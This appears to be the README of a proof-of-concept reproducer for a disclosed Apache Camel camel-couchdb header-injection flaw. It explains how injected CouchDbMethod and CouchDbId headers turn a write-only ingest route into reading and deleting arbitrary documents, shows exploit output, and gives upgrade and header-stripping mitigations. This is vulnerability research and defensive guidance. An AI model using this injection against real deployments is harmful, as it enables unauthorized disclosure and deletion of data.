
Reproducer for CVE-2026-46588: Apache Camel camel-couchdb CouchDb* header injection (operation confusion) subverting a write-only endpoint into read + delete of arbitrary documents (fixed in 4.14.8/4.18.3/4.21.0)
CouchDb* Header Injection Reproducer (CVE-2026-46588)This project demonstrates a message-header injection in Apache Camel's camel-couchdb component, tracked as
CVE-2026-46588. The component reads several Exchange headers to control its behaviour — CouchDbDatabase,
CouchDbSeq, CouchDbId (document id), CouchDbRev (document revision) and CouchDbMethod (the operation
method). The string values of these header constants (defined in CouchDbConstants) use the CouchDb prefix
rather than the standard Camel prefix every other component uses. Camel's inbound HttpHeaderFilterStrategy
blocks only header names that begin with Camel / camel, so these names pass the inbound filter unchanged.
When a route exposes an HTTP entry point (for example platform-http) in front of a couchdb producer, an untrusted
HTTP client can set these headers directly and override the operation the route author intended.
This PoC demonstrates the impact as operation confusion: a write-only document-ingestion endpoint is turned
into a read and then a delete of an arbitrary document by injecting CouchDbMethod (and CouchDbId).
CouchDbMethod=GET + CouchDbId=<secret> → disclosure (reads a document the endpoint never exposes, and
leaks its _rev).CouchDbMethod=DELETE (with the leaked _rev) → destruction (deletes that document).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 and CVE-2026-47323. The fix shares its PR with the sibling advisory CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
The fix (4.14.8 / 4.18.3 / 4.21.0) renames the header values to the Camel convention — CouchDbMethod →
CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase →
CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — so they are blocked by the inbound
HttpHeaderFilterStrategy like every other Camel control header. The Java constant field names are unchanged.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
The route author's intent is a write-only ingestion endpoint — clients POST documents to be saved, nothing
more. As documented hardening the route strips the Camel control-header namespace at the edge. That does not
help: the operation header is named CouchDbMethod, not CamelCouchDbMethod, so it is stripped by neither
removeHeaders("Camel*") nor the built-in HTTP header filter — and the producer switches operation based on it.
The victim is the Camel ingestion route and its CouchDB database; the attacker is an unauthenticated HTTP client that only sets request headers. A small REST harness seeds and reads the secret document for verification, independently of the vulnerable route.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
Note: the pom pins
gson.version=2.13.2(the version Camel ships). Spring Boot 3.2.0 would otherwise pin the older gson 2.10.1, which lackscom.google.gson.internal.GsonTypesand makes the bundled Cloudant SDK throwNoClassDefFoundErrorat runtime.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Any route with a couchdb producer reachable from an HTTP consumer. Injectable headers: CouchDbMethod (switch
save → get / delete), CouchDbId (target document for get), and the body's _id / _rev for delete. Consumer
side adds CouchDbDatabase and CouchDbSeq.
Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (advisory PR #23228). After the fix the control headers carry the Camel
prefix (CamelCouchDbMethod, CamelCouchDbId, …) and are filtered at the HTTP boundary like every other control
header.
Until upgrading, strip the affected headers from untrusted inbound messages before they reach the producer, e.g.
.removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"),
.removeHeader("CouchDbSeq") and .removeHeader("CouchDbMethod") in front of the couchdb endpoint, or apply a
custom HeaderFilterStrategy that blocks these names.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-couchdb |
| Affected Class | org.apache.camel.component.couchdb.CouchDbProducer reading CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Improper Input Validation |
| Impact | An HTTP client sets CouchDb* headers → override the operation / document → disclosure, deletion, tampering |
| Preconditions | A route exposes a couchdb producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| Fix | PR apache/camel#23228 (main), backported via #23230 (4.18.x) / #23231 (4.14.x) |
| Credit | Yu Bao (PayPal) |